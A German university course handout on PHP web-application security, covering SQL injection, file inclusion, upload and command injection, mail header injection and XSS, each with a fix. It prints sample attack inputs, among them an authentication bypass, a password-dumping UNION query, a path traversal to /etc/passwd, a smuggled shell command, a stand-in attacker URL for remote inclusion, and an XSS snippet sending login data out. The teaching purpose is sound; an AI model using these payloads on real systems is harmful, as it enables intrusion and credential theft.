Grundlagen Sicherheit der Web- Programmierung mit dem Schwerpunkt PHP

Größe: px
Ab Seite anzeigen:

Download "Grundlagen Sicherheit der Web- Programmierung mit dem Schwerpunkt PHP"

Transkript

1 Grundlagen Sicherheit der Web- Programmierung mit dem Schwerpunkt PHP Version 0.1, Stand Für das Modul Internet-Programmierung der Beuth Hochschule für Technik Berlin im Online-Studiengang Medieninformatik (Bachelor) bei Herrn Prof. Dr. Gers. Von Tobias Ferdinand tobias-ferdinand.net

2 Inhaltsverzeichnis Vorwort... 3 SQL-Injection... 3 Remote File Inclusion... 6 Local File Inclusion... 7 Code Inclusion über File-Uploads... 8 Remote Command Execution... 9 Spam-Relay über die mail()-funktion Scripting durch Cross-Site-Scripting (XSS) Allgemeine Tipps zum Schreiben von sicherem PHP-Code Allgemeine Tipps bei Webanwendungen Über dieses Dokument... 14

3 Vorwort Das folgende Dokument zeigt häufig gemachte Fehler bei der Programmierung von interaktiven Webseiten auf, die zu Sicherheitslücken, entweder auf der Server- oder auf der Clientseite führen. Dabei wird speziell auf Fehler im Zusammenhang mit der Scriptsprache PHP eingegangen. Jedoch finden sich viele dieser Sicherheitslücken auch in anderen Sprachen, die für die Internetprogrammierung benutzt werden, wieder. Es sollen nur die Grundlagen vermittelt werden obligatorisch wird darauf hingewiesen, dass dieses Dokument natürlich keinen Anspruch auf Vollständigkeit erhebt. Des Weiteren soll dieses Dokument keine Anleitung zum Ausspähen von Nutzerdaten oder für den illegalen Zugriff auf Serversysteme darstellen. Es soll dem Webprogrammierer aufzeigen, welche Möglichkeiten ein Angreifer durch fehlerhaften Code erhält. Außerdem wird nicht auf Fehler im PHP-Code selbst eingegangen. Da der Webprogrammierer mitunter keinen Einfluss darauf hat, bleibt dazu nur zu sagen, dass stets darauf geachtet werden sollte, dass eine aktuelle Version von PHP verwendet wird. Wer einen kleinen Einblick in bisherige Fehler in PHP selbst gewinnen möchte, kann sich entsprechende Sicherheits-Meldungen unter ansehen. SQL-Injection Unter SQL-Injection versteht man das Einschleusen von SQL-Befehlen oder das Verändern von SQL-Statements über entsprechende Anwendungen, die auf eine SQL-Datenbank zugreifen. So können Anwendungen, die entsprechende SQL- Injection-Schwachstellen aufweisen, zum Beispiel dazu benutzt werden, um Daten anzuzeigen, die nicht für die Anzeige bestimmt sind, oder es können Daten sogar verändert oder gelöscht werden, die eigentlich nicht von dem Anwender verändert oder gelöscht werden sollen/dürfen. Möglich gemacht werden die SQL-Injections dadurch, dass Benutzereingaben ungefiltert an einen SQL-Query übergeben werden. Beispiele: 1. Beispiel Durch ein SQL-Statement soll geprüft werden, ob ein Benutzername mit dem angegebenen Passwort in der Datenbank existiert. Existiert ein entsprechender Benutzer, ist er eingeloggt und er erhält Zugriff auf entsprechende (sensible) Daten. $str_sql = "SELECT `id` FROM `user` WHERE `user` = '".$_POST['user']."' AND `password` = '".md5($_post['password'])."'"; $_POST['user'] ist in dem Fall der Benutzername, der ungefiltert in den SQL- String übergeben wird. Enthält der String nur Daten, die man in einem Benutzernamen erwartet, als etwa Groß- und Kleinbuchstaben, Zahlen und ggf. noch Binde- oder Unterstriche, funktioniert der Login wie erwartet. Es kommt nicht zu einem Fehler.

4 Der entsprechende SQL-String für den Benutzernamen Hans mit dem Passwort test sieht dann so aus: SELECT `id` FROM `user` WHERE `user` = 'Hans' AND `password` = '098f6bcd4621d373cade4e832627b4f6' Jedoch kommt es bereits zu Fehlern, wenn ein Benutzer ein Hochkomma in seinem Benutzernamen benutzt, oder aus versehen eines angibt. Gibt er statt Hans den Benutzernamen Hans an, sieht das SQL-Statement wie folgt aus: SELECT `id` FROM `user` WHERE `user` = 'Hans'' AND `password` = '098f6bcd4621d373cade4e832627b4f6' Wird die SQL-Fehlermeldung nicht über den Browser ausgegeben, merkt der Benutzer davon zwar nichts das SQL-Statement ist fehlerhaft wodurch kein entsprechender Benutzer gefunden wurde. Wird jedoch eine entsprechende Fehlermeldung ausgegeben, oder ist jemand gezielt auf der Suche nach entsprechenden Lücken, könnte er auf die Idee kommen, etwa als Benutzername auch Hans' OR '1'='1 einzugeben. Das Statement sieht dann so aus: SELECT `id` FROM `user` WHERE `user` = 'Hans' OR '1'='1' AND `password` = '098f6bcd4621d373cade4e832627b4f6' In diesem Fall ist das Passwort und auch der Benutzername egal sofern ein Datensatz in der Datenbank vorhanden ist, wird auf jeden Fall ein Benutzer gefunden, denn 1=1 ist immer wahr. Abhilfe: Damit SQL-Injections verhindert werden, muss die Benutzereingabe escaped werden. Das heißt, dass entsprechende Zeichen, die in die Struktur des SQL-Statements eingreifen, durch andere Zeichen ungültig gemacht werden. Bei PHP/Mysql empfiehlt sich der Einsatz von mysql_escape_string() bzw. mysql_real_escape_string(). Letzterem kann eine Verbindungskennung mitgegeben werden, sodass der Zeichensatz einer Verbindung mit berücksichtigt wird. Diese Funktion escaped die Zeichen \x00, \n, \r, \, ', " und \x1a. Sie stellt den entsprechenden Zeichen einen Backslash \ voran, wodurch diese Zeichen durch SQL wie normale Zeichen interpretiert werden. Das SQL-Statement aus dem letzten Beispiel würde dann folgendermaßen aussehen: SELECT `id` FROM `user` WHERE `user` = 'Hans\' OR \'1\'=\'1' AND `password` = '098f6bcd4621d373cade4e832627b4f6' Und der Benutzer Hans\' OR \'1\'=\'1 wird sicherlich nicht in der Datenbank gefunden. Und wenn es den Benutzer doch geben sollte, stellt es trotzdem kein Sicherheitsrisiko mehr dar. Anmerkung: Sicherlich taucht jetzt die Frage auf, ob das Passwort nicht auch ungeprüft in den SQL-String übergeben wurde. Ein klares Jein wäre hier die Antwort. Das Passwort ist in unserem Fall als md5-string in der Datenbank gespeichert durch die Hashfunktion kann das Passwort bei unbefugten Zurgiffen nicht so einfach ausgelesen und z.b. einer Adresse zugeordnet werden. Da in dem SQL-Statement das vom Benutzer eingegebene Passwort zuerst durch PHP in den md5-wert umgewandelt wird, dürften sich in dem String

5 keine für mysql relevanten Zeichen befinden, denn der md5-hash besteht nur aus den Zahlen 0-9 und a-f (Hexadezimalzahl). Wird jedoch nicht die md5-funktion von PHP, sondern von mysql benutzt, muss das Passwort vorher escaped werden. Es macht jedoch auch nichts aus, einen md5-hash nochmals mit mysql_real_escape_string() zu escapen. Hier gilt die Regel, lieber einen String unnötig escapen, als einen String gar nicht zu escapen. Der Performance-Verlust sollte sich in Grenzen halten. 2. Beispiel Bei dem zweiten Beispiel nehmen wir an, dass die Anwendung für jeden Benutzer weitere Datensätze in einer anderen Tabelle bereithält. Das können zum Beispiel Adressen sein, die er sich angelegt hat und die er wieder anzeigen lassen kann. Das SQL-Statement dazu könnte wie folgt aussehen: SELECT * FROM `address` WHERE `address`.`id` = '.$_GET[ id ].' AND `address`.`user_id` = '.$_SESSION[ user_id ] $_GET[ id ] ist wieder die Benutzereingabe der ID, die angefordert wird. Für unser Beispiel natürlich wieder unescaped, was zu fatalen Folgen führen kann. In unserem Fall wird als ID natürlich eine Zahl erwartet aufgrund unseres Datenbankdesigns können wir sogar konkret sagen, dass ein Integer erwartet wird. Der ungebetene Gast könnte aber wiederum auf die Idee kommen, folgendes zu übergeben: 4 UNION (SELECT,, password FROM user) Das vollständige SQL-Statement sieht dann wie folgt aus: SELECT * FROM `address` WHERE `address`.`id` = 4 UNION (SELECT,, password FROM user) AND `address`.`user_id` = '.$_SESSION[ user_id ] Dadurch fragt das SQL-Statement nicht nur den Adressdatensatz ab, sondern auch ein Passwort aus der user-datenbank. Natürlich kann das Union-Statement entsprechend erweitert werden, damit das Passwort eines bestimmten Benutzers angezeigt wird. Übrigens würde sich an dieser Stelle positiv bemerkbar machen, dass wir die Passwörter nur als md5-hash in der Datenbank gespeichert haben, und nicht im Klartext. Dennoch könnte ein Passwort, dass einfach per md5-hash gespeichert wird, über eine Bruteforce-Attacke ausgelesen werden. Noch sicherer ist das Passwort, wenn es mit Hilfe eines Salts gehasht wird. Achtung: In diesem Beispiel wird kein String an das SQL-Statement übergeben, sondern ein Integer. Entsprechend befinden sich um den Wert der Variablen auch keine einfachen Anführungszeichen. Es würde also nichts nutzen, die

6 Benutzereingabe zu escapen. Die Escape-Funktion escaped auch keine SQL- Befehle, sondern nur die oben genannten Zeichen. Daher muss in diesem Fall dafür gesorgt werden, dass die Benutzereingabe eines Integers auch wirklich ein Integer ist. Eine Lösung wäre, die Benutzereingabe nach einem Integer zu casten: $var = (int) $_GET[ id ]; Weitere Möglichkeiten wären, die Benutzereingabe vor Übergabe an das SQL- Statement mit regulären Ausdrücken zu prüfen, Funktionen wie intval() zu benutzen oder der Einsatz der PHP-Erweiterung Filter. Weitere Möglichkeiten : Bei den beiden Beispielen handelte es sich um SELECT-Statements. Diese werden dazu benutzt, Daten aus der Datenbank auszulesen. Aber natürlich kommt es auch vor, dass INSERT-/UPDATE oder gar DELETE-Statements mit Usereingaben kombiniert werden. Etwa, wenn es dem Benutzer erlaubt werden soll, seine Persönlichen Daten auf einer Website zu ändern, oder wenn er einen angelegten Datensatz löschen kann. Ist ein solches UPDATE- oder DELETE-Statement für SQL-Injection anfällig, kann die Gefahr bestehen, dass der Benutzer auch Daten verändern oder löschen kann, auf die er eigentlich keinen Zugriff hat. Bei einem DELETE * FROM addresses WHERE id=$_get[ id ] AND user_id=$_cookie[ user_id ] wäre es dem Benutzer beispielsweise möglich, auch gleich die komplette addresses-datenbank zu leeren. Remote File Inclusion Unter Remote File Inclusion versteht man das nachladen und ausführen von (PHP-) Code von einem externen Server. Es sei dazu gesagt, dass bei der Default-Konfiguration eines aktuellen PHP-Packages die Möglichkeit der Remote-File-Inclusion nicht mehr gegeben ist. In früheren Versionen gab es jedoch über die Konfigurationdatei php.ini keine Einstellung, um das nachladen und Ausführen von externem Code auszuschalten und somit musste damals zwingend im geschriebenen Code dafür gesorgt werden, dass eine entsprechende Lücke nicht besteht. Jedoch kann es durch eine fehlerhafte Serverkonfiguration, oder um Abwärtskompatibilität zu gewährleisten, durchaus vorkommen, dass die php.ini- Einstellungsvariable allow_url_include auf on steht. Dann ist es durchaus sinnvoll, wenn der Code keine Anfälligkeiten für remote-file- Inclusion enthält. Beispiel: Eine Webseite ist so aufgebaut, dass über die URL die entsprechende Seite übergeben wird. Z.B. Der dazugehörige Code könnte so aussehen: <?php include 'header.inc.php'; include $_GET['page'].'.inc.php'; include footer.inc.php';?>

7 Nun könnte der Angreifer auf die Idee kommen, die übergebene Page-Variable zu verändern, z.b. in page=http://www.hacker-domain.xy/bad_script.txt? Die Datei bad_script.txt kann nun PHP-Code enthalten, der von dem anderen Webserver als Text ausgegeben wird. Der eigene PHP-Code included nun das externe Script und führt es auf dem eigenen Server aus. Der externe Code könnte nun alles Mögliche enthalten. Um auszuspähen, welche Servereinstellungen auf dem Server sind, bietet sich z.b. die Funktion phpinfo() an. Aber natürlich können auch Dateien auf dem Server ausgelesen, gelöscht oder erstellt werden. Es kann ein Socket geöffnet werden, der weitere Kommunikation zulässt oder es kann Software nachgeladen werden, die im nächsten Schritt die Installation eines Rootkits ermöglicht. Über die mail()-funktion kann beliebig Spam über den Server verschickt werden. Besonders zu beachten ist das Fragezeichen am Ende der übergebenen page-seite. Dadurch wird alles, was in der include-funktion angehangen wird (in diesem Fall.inc.php) auf dem externen Server als GET-String angehangen. Dadurch muss der Angreifer nicht darauf achten, wie er sein Script auf seinem Server nennt. Lösungen: Als Lösung ist es zum Beispiel möglich, http, https, ftp, Sonderzeichen und/oder Slashes aus der übergebenen Variable zu filtern. Wer auf Nummer sicher gehen will, schreibt den Code aber gleich so, dass es gar nicht vorkommen kann, dass Dateien included werden können, die nicht dafür vorgesehen sind, zum Beispiel durch den Abgleich eines Arrays mit erlaubten Werten oder einem switch/case-konstrukt. Anfällige Funktionen: Wenn die Voraussetzungen erfüllt sind, und die entsprechende php.ini-einstellung gesetzt ist, ermöglichen die Befehle include, include_once, require und require_once die Remote-File-Inclusion. Aber auch ohne diese Einstellung kann es einem Programmierer passieren, eine solche Lücke (aus Unwissenheit?) einzubauen. Zum Beispiel über eval(get_file_contents($_get[ page ])); Das sollte natürlich ebenso vermieden werden. Local File Inclusion Nicht viel harmloser ist die Local File Inclusion, auch wenn der Angreifer damit nicht unmittelbar beliebigen Code ausführen kann. Bei der Local File Inclusion geht es wieder um die gleichen Funktionen wie bei der Remote File Inclusion, nämlich include, include_once, require und require_once. Damit ist es nicht möglich, Code von fremden Server nachzuladen, aber eben Code, der sich bereits auf dem Server befindet. Beispiel: Wir erweitern das Beispiel von eben, sodass es auf den ersten Blick sicher aussieht:

8 <?php include '_include/header.inc.php'; include '_include/'.$_get['page'].'.inc.php'; include '_include/footer.inc.php';?> Wieder kann man über die URL die page-variable beliebig füllen und es macht den Anschein, als ob eine Datei, die included werden soll, sich in dem Ordner _include/ befinden muss und auf.inc.php enden muss. Es macht aber eben nur den Anschein. Denn über den Einsatz von../ in der Variablen kann man beliebig weit nach oben in der Ordnerhierarchie navigieren. Und über das Nullbyte (Url-Encoded %00) wird der hintere Teil des Strings quasi abgeschnitten. Liegt unser Script unter /home/pages/ kann somit über die Page-Variable page=../../etc/passwd%00 einfach die passwd-datei eines Linuxsystems angezeigt werden. Befindet sich auf dem Server bösartiger Code, der zum Beispiel über ein Fileupload hochgeladen wurde (siehe unten), kann der Code entsprechend ausgeführt werden. Achtung: Zusätzlich zu den oben genannten Funktionen können auch weitere Funktionen ungewollt Inhalte von Dateien auf dem Server preisgeben. So zum Beispiel readfile() und file_get_contents(). Diese können auch dazu benutzt werden, z.b. /etc/passwd auszugeben. Im Zusammenhang mit eval() kann der Code wiederum ausgeführt werden. Lösung: Wie bei der Remote-File-Inclusion könnte die Usereingabe auf Sonderzeichen geprüft werden. Aber auch hier ist es natürlich am sichersten nur entsprechende Usereingaben zuzulassen, die entsprechend definiert wurden (switch/case). Code Inclusion über File-Uploads Besonders vorsichtig sollte man sein, wenn man Benutzern erlaubt, Dateien auf einen Server zu laden. Zumeist wird diese Funktionalität benutzt, um Bilder oder Dokumente auf einen Server laden zu lassen. So einfach ein Upload in PHP realisiert werden kann, so gefährlich kann diese Funktionalität werden. Man sollte sehr vorsichtig sein, wenn man die hochgeladenen Bilder an einen über den Webserver zugängliches Verzeichnis verschiebt. Dann ist mindestens auf die Dateiendung zu achten. Gelingt es einem Benutzer, eine Datei mit der Dateiendung.php auf den Server zu laden, wird diese Datei natürlich auch wie eine PHP-Datei behandelt. Lädt ein Benutzer beispielsweise die Datei script.php, die PHP-Code enthält, auf den Server, und diese wird dann unter abgelegt, kann der Benutzer die Datei natürlich aufrufen und ausführen. Der Benutzer kann dann beliebigen PHP-Code in dem Script zur Ausführung auf Webserver einschleusen.

9 Natürlich gilt das für sämtliche Dateiendungen, die evtl. durch den Webserver interpretiert werden könnten, darunter auch andere serverseitige Scriptsprache (.pl,.jsp,.php5,.php4 etc.). Aber auch wenn die Datei nicht die Endung.php hat oder in einem nicht erreichbaren Verzeichnis gespeichert wird, könnte im Zusammenspiel mit der Local File Inclusion (siehe Oben) Code ausgeführt werden. Denn dem PHP-Befehl include ist egal, welche Dateiendung eine Datei hat. Es wird die Datei eingelesen und interpretiert, auch wenn sie bild.jpg heißen sollte. Auf der sicheren Seite ist man also, wenn man dafür sorgt, dass die Dateiendung nicht beliebig sein kann und der Inhalt der hochgeladenen Datei auf Korrektheit geprüft wird. PHP stellt beispielsweise Funktionen bereit, die erkennen, ob eine Datei Bilddaten enthält. Wird ein Bild erwartet, aber die Funktion erkennt keine Bilddaten, sollte die Datei direkt nach dem Upload wieder gelöscht werden. Remote Command Execution PHP stellt einige Funktionen bereit, um Befehle direkt im Linuxsystem auszuführen. Mit system() und exec(), um nur zwei zu nennen, ist es möglich, jeden beliebigen Unix-Befehl, oder jedes Programm (sofern Ausführungsrechte vorhanden sind), das sich auf dem Server befindet, auszuführen. Gerne werden solche Funktionen dazu benutzt, um einem Benutzer zum Beispiel einen traceroute zu einem bestimmten Host anzuzeigen, oder per curl Dateien herunterzuladen. Aber natürlich sollten auch hier keine ungeprüften Benutzereingaben an die Shell weitergereicht werden. Beispiel: Über die URL showtrace.php?host=host.xy Soll dem Benutzer die Route zu einem Server angezeigt werden. <?php system('traceroute '.$_GET['host']);?> Auch hier kann der Angreifer wieder weitaus mehr machen, als dem Serverbetreiber lieb ist. Gibt er zum Beispiel host=www.test.de;%20cat%20/etc/passwd an, wird ihm nicht nur die Route zum Server angezeigt, sondern auch gleich die Datei /etc/passwd des Servers auf dem das Script läuft. Auch hier sind die Möglichkeiten fast grenzenlos. So kann auch wieder Code nachgeladen und ausgeführt werden. Einen Rootkit auf den Server zu laden und auszuführen oder einen Socket zu öffnen stellt damit kein Problem mehr dar. Lösung: An die Shell übergebene Befehle sollten mit escapeshellarg() maskiert werden. Das verhindert, dass weitere Befehle übergeben werden können.

10 Sollte es einmal vorkommen, dass ein Befehl über eine Benutzereingabe ausgewählt werden soll, hält PHP außerdem die Funktion escapeshellcmd() bereit. Jedoch sollte man sich gut überlegen, ob man einem Benutzer überhaupt die Möglichkeit gibt, einen Befehl selbst auszuwählen. Spam-Relay über die mail()-funktion Viele Webseitenbetreiber stellen den Websurfern ein Kontaktformular zur Verfügung. Gefühlte 99% aller PHP-Anfänger wollen als erstes ein Kontaktformular mit der PHP-Funktion mail() realisieren. Auch das ist wieder sehr einfach. Über <?php mail( $_GET[ betreff ], $_GET[ nachricht ]);?> hat man bereits den serverseitigen Teil der nötig ist um die Felder eines Kontaktformular per zu verschicken. Die die bei dem Webseitenbetreiber ankommt hat als Absenderadresse jedoch die Standard- adresse des Webservers. Um dem Benutzer zu ermöglichen seine eigene Adresse anzugeben, bietet sich der 4. Parameter der Funktion an. Allerdings übergibt man darüber nicht die Absenderadresse, sondern weitere Mail- Header, die in der enthalten sein sollen. Die Gefahr besteht nun darin, dass man auf die Idee kommen könnte, folgenden Header zu übergeben: $header = From:.$_GET[ from_ ]; Denn mit der Übergabe eines ungeprüften Strings in die Additional-Headers erlaubt man dem Benutzer auch beliebige weitere Header anzugeben. Durch Eingabe von Kann der Benutzer erreichen, dass seine nicht nur an den in der Funktion angegebenen Empfänger versendet wird, sondern auch noch ein eine dritte Person. Natürlich könnte er nun quasi beliebig viele weitere Empfänger angeben und diesen Spam über den Webserver zusenden. Grenzen sind quasi nur über die Anzahl möglicher Zeichen im GET-String gesetzt. Lösung: Die perfekte Lösung wäre, eine adresse auf Validität oder gar auf Gültigkeit/Existenz zu prüfen. Das ist, auch mit regulären Ausdrücken nicht trivial, letzteres gar unmöglich. Hier sollte man sich nach entsprechenden Funktionen umsehen, die diese Aufgabe übernehmen. Am wichtigsten ist jedoch, dass in der Absenderadresse keine Zeilenumbrüche (\r und \n) übergeben werden. Am sichersten ist, diese z.b. über str_replace zu ersetzen. Auch bei extern übernommenem Code sollte überprüft werden, ob diese Steuerzeichen ersetzt werden. Achtung: Auch bei den sonstigen übergebenen Variablen sollte man sich nicht zu sicher sein. Zwar sollten die Werte, die über $to und $subject übergeben werden, von PHP geprüft werden, in den PHP Versionen und (vgl. ist es jedoch schon vorgekommen, dass durch einen fehlerhaften regulären Ausdruck im PHP-Code die genannten Steuerzeichen nicht rausgefiltert wurden. Es kann also nie schaden, Zeichen die Schaden anrichten könnten, lieber einmal zu viel, als einmal zu wenig zu entfernen.

11 Scripting durch Cross-Site-Scripting (XSS) Eine häufige Fehlerquelle auf Webseiten ist das sogenannte Cross-Site-Scripting, kurz XSS. Hierbei geht es jedoch, im Gegensatz zu den bisher angesprochenen Schwachstellen nicht darum, Code oder Dateien auf dem Server auszuführen, oder Spam über den Webserver zu versenden. Vielmehr handelt es sich um eine Schwachstelle, bei dem (Java)-Script-Code auf dem Client ausgeführt wird. Über XSS-Lücken sorgt ein Angreifer dafür, dass eingeschleuster JavaScript-Code im Webbrowser einer dritten Person ausgeführt wird. Dadurch wird das Sicherheitskonzept der Browser im Zusammenhang mit JavaScript umgangen. Dieses Konzept ist so angelegt, dass JavaScript-Funktionen, die über die Domain auch nur auf Daten zugreifen dürfen, die im Zusammenhang mit der Domain bestehen. Zum Beispiel darf ein Cookie, das über gesetzt wurde, auch nur über diese Domain abgerufen werden. Die Webseite hat keinen Zugriff auf die Cookies, die über gesetzt wurden. Auch Ajax-Requests dürfen nur an die gleiche Domain gesendet werden. Gelingt es nun jedoch einem Angreifer, Javascript-Code auf der Domain einzuschleusen, hat er mit Hilfe seines eingeschleusten Codes unter Umständen auch die Möglichkeit, auf diese Cookies zuzugreifen. Gefahren durch XSS bestehen vornehmlich auf Webseiten, bei denen Cookies für eine Benutzerauthentifizierung abgelegt werden (auch die Session-ID einer Session wird als Cookie bei dem Client abgelegt) oder durch weitere Aufrufe z.b. Nachrichten auf Social Networks versendet werden können. Aber auch Webseiten, auf denen sensible Daten eingegeben werden könnten (dazu gehört auch eine Adresse und ein Passwort bei einer Anmeldung auf einer Webseite) und für den Benutzer vertrauenswürdig aussehen, könnten Gefahren darstellen. Beispiel: Als Beispiel stellen wir uns ein Social Network vor, bei dem man sich anmelden kann. Ist auf der Anmeldeseite die Möglichkeit von XSS gegeben, zum Beispiel durch die ungefilterte Ausgabe einer GET-Variablen, z.b. echo GET[ name ], kann Code eingeschleust werden. Eine Person, die Lücke ausnutzen möchte, setzt nun z.b. folgenden Link auf seine Webseite: <a href=http://www.domain.xy/anmeldung.php?name=<script src= ></script> Das Script, das vom Server des Angreifers geladen wird, läuft nun im Kontext der Domain ab. Damit kann in dem script.js nun auf die Eingaben, z.b. der adresse und des Passworts auf der Anmeldeseite zugregriffen werden. Damit der Angreifer diese Daten nun erhält, fügt das Script ein unsichtbares Bild in die Webseite anmeldung.php ein, z.b.: document.write( <img src= +document.getelementbyid( username )+ &password= +document.getelementbyid( password )+ />

12 Damit kann der Angreifer, z.b. über die Logfiles seines Server entsprechende - /Passwortkombinationen sehen. Da die Gefahr solcher Lücken besteht, und der Benutzer davon quasi nichts mitbekommt und sich darauf verlassen muss, dass der Webseitenbetreiber solche Lücken ausschließt, sei noch mal darauf hingewiesen, dass man für verschiedene Webseiten, und insbesondere die -Adresse verschiedene Passwörter wählen sollte! Lösung: Einer der häufigsten Fehler ist es, zu denken, dass Javascript-Code stets über <script>-tags eingeschleust wird. Unerfahrene Internetprogrammierer benutzen Konstrukte wie echo strip_tags($_get[ name ]); und gehen davon aus, dass die Gefahr gebannt ist, da keine eingegebenen HTML-Tags mehr ausgegeben werden. Allerdings besteht innerhalb eines Formularfelds dann immer noch eine Lücke. Durch ein Feld: <input type= text name= name value= <?php echo strip_tags($_get[ name ]);?> /> kann immer noch folgendermaßen Code eingeschleust werden:?name= onclick= SCRIPT-Code Zwar handelt es sich nur um ein Onclick-Event, aber es ist doch recht wahrscheinlich, dass ein Benutzer in das Name-Feld eines Anmeldeformulars klickt und somit der eingeschleuste Code ausgeführt wird. Auf der sicheren Seite ist man, wenn man übergebene Daten einfach so darstellt, wie sie übergeben werden, also Sonderzeichen in HTML-Zeichen konvertiert. In PHP bietet sich dafür die Funktion htmlentities($_get[ name ], ENT_QUOTES) an. Somit werden sämtliche Sonderzeichen in HTML dargestellt. Die als zweiter Parameter übergebene Konstante ENT_QUOTES sorgt dafür, dass auch einfache Anführungszeichen (Single-Quotes) in HTML kodiert werden. Beispielsweise wird aus einem Anführungszeichen dann das HTML-Zeichen " im Quelltext der Seite. Es wird nun nicht mehr als Teil eines Formularfeldes angesehen, sondern nur noch als Anführungszeichen auf dem Bildschirm angezeigt. Achtung: In älteren PHP-Versionen gibt es eine XSS-Lücke in der PHP-Funktion phpinfo();. Diese Funktion gibt PHP-Spezifische Einstellungen aus und wird oft mal auf einem Server abgelegt, um Einstellungen anzusehen. Bei Recherchen über XSS-Lücken im Internet habe ich beispielsweise Server gefunden, bei denen solch eine alte PHP-Version benutzt wurde und eine info.php mit der Ausgabe der phpinfo()-funktion existierte. Auf der gleichen Domain war auch ein Webmailsystem installiert. Natürlich stehen die beiden Sachen nicht in direktem Zusammenhang, aber nun ist es zum Beispiel denkbar, dass eine , die über das Webinterface abgerufen wird, wiederum auf diese info.php-datei verweisen könnte und z.b. das Cookie der PHP-Session an einen Angreifer sendet. Somit hätte der Angreifer Zugriff auf die Mail-Adresse des Opfers. Es ist also darauf zu achten, dass keine Datei mit einer XSS-Lücke auf einer Domain existiert, damit derartige Angriffsszenarien ausgeschlossen werden können.

13 Allgemeine Tipps zum Schreiben von sicherem PHP- Code Um sicheren PHP-Code zu schreiben, sollte man einige Dinge beachten. Sicherlich kann man nie ausschließen, dass man nicht doch einmal eine Kleinigkeit vergisst, aber folgende Tipps tragen zumindest dazu bei, die Anzahl der Schwachstellen zu minimieren. 1. error_reporting auf E_ALL setzen und display_errors auf einem Entwicklungsserver einschalten. Damit werden alle Fehler, auch Notices, angezeigt. Das hilft zum Beispiel, Variablen zu erkennen, die ausgegeben werden, obwohl sie nicht (im Code) gesetzt wurden. Auf einem Live-Server sollten die Fehler allerdings nicht ausgegeben werden, da sie, sofern sich Fehler in dem Code befinden, einem Angreifer Aufschluss über diese Fehler geben könnten. 2. Nicht darauf verlassen, dass die Servereinstellungen schon sicher sein werden. Natürlich könnte man davon ausgehen, dass register_globals abgeschaltet sind, oder ein open_basedir gesetzt ist. Wer sicheren PHP-Code schreibt, muss aber diese Einstellung nicht fürchten. 3. Trotzdem kann es natürlich nicht schaden, wenn man auch die php.ini- Einstellungen kontrolliert und diese sinnvoll einstellt. 4. Sicherheits-Addons wie mod_security oder suhosin, die quasi zwischen den Apache und das PHP-Modul geschaltet werden können eine sinnvolle Ergänzung sein, um noch ein Stück mehr an Sicherheit zu gewinnen man sollte sich aber nicht darauf verlassen, dass diese Tools mit 1005iger Sicherheit dafür sorgen, dass eine Webanwendung sicher wird. 5. Durch externe Sicherheitstesttools, wie z.b. den Chorizzo-Scanner kann die eigene Webanwendung auf mögliche Sicherheitslücken getestet werden. Aber natürlich findet solch ein Blackboxtest nicht alle Sicherheitslücken. Allgemeine Tipps bei Webanwendungen Auch folgende Tipps sollten stets beachtet werden. Sie sind auch häufige Fehler, die zu erfolgreichen Angriffen geführt haben. 1. Keine Backups auf dem öffentlich zugänglichen Bereich eines Webserver ablegen! 2. Keine SQL-Dumps im öffentlich zugänglichen Bereich des Webservers ablegen 3. Keine Fehlerausgabe auf dem Live-System 4. Keine unnötigen Dateien mit unnötigen Funktionsaufrufen auf dem Livesystem herumliegen lassen 5. Auch Fremdsoftware (und sei es nur ein Wordpress-Template) sollte auf mögliche Sicherheitslücken geprüft werden, insbesondere wenn es auf dem gleichen Webserver oder auf der gleichen Domain, wie ein Webprojekt mit sensiblen Daten/Logins liegt. Im Zweifel sollte diese Fremdsoftware separat gehostet werden.

14 Über dieses Dokument Dieses Dokument kann kostenlos weitergegeben und vervielfältigt werden. Die Informationen über den Autor und die Quelle des Originaldokuments darf dabei nicht entfernt werden. Sonstige Änderungen am Dokument sind gut sichtbar kenntlich zu machen. Anmerkungen, Verbesserungsvorschläge und Fragen können gerne an gerichtet werden. Die neueste Version dieses Dokuments befindet sich unter

Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn

Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn Aktuelle Angriffstechniken Steffen Tröscher cirosec GmbH, Heilbronn Gliederung Angriffe auf Webanwendungen Theorie und Live Demonstrationen Schwachstellen Command Injection über File Inclusion Logische

Mehr

Sicherheit in Webanwendungen CrossSite, Session und SQL

Sicherheit in Webanwendungen CrossSite, Session und SQL Sicherheit in Webanwendungen CrossSite, Session und SQL Angriffstechniken und Abwehrmaßnahmen Mario Klump Die Cross-Site -Familie Die Cross-Site-Arten Cross-Site-Scripting (CSS/XSS) Cross-Site-Request-Forgery

Mehr

Angreifbarkeit von Webapplikationen

Angreifbarkeit von Webapplikationen Vortrag über die Risiken und möglichen Sicherheitslücken bei der Entwicklung datenbankgestützter, dynamischer Webseiten Gliederung: Einführung technische Grundlagen Strafbarkeit im Sinne des StGB populäre

Mehr

Aktuelle Sicherheitsprobleme im Internet

Aktuelle Sicherheitsprobleme im Internet Herbst 2014 Aktuelle Sicherheitsprobleme im Internet Wirtschaftsinformatik: 5. Semester Dozenten: Rainer Telesko / Martin Hüsler Fachhochschule Nordwestschweiz FHNW / Rainer Telesko - Martin Hüsler 1 Inhalt

Mehr

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen FAEL-Seminar Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Prof. Dr. Marc Rennhard Institut für angewandte Informationstechnologie InIT ZHAW Zürcher Hochschule für Angewandte

Mehr

PHP-(Un-)Sicherheit. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim.

PHP-(Un-)Sicherheit. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim Tim Weber 9. November 2006 Übersicht 1. Die Sprache PHP 2. Sicherheitslücken und Angriffsszenarien

Mehr

Tobias Wassermann. Sichere Webanwendungen mit PHP

Tobias Wassermann. Sichere Webanwendungen mit PHP Tobias Wassermann Sichere Webanwendungen mit PHP Inhaltsverzeichnis Einleitung 11 i Sicherheit im Kontext von PHP und Webanwendungen 17 I.I Historie: PHP 17 i.2 PHP heute 19 1.3 PHP und Apache 20 1.4 PHP

Mehr

PHP-Security. Aleksander Paravac. watz@lug-bamberg.de http://www.lug-bamberg.de. Aleksander Paravac (GNU/Linux User Group Bamberg/Forchheim) 1 / 27

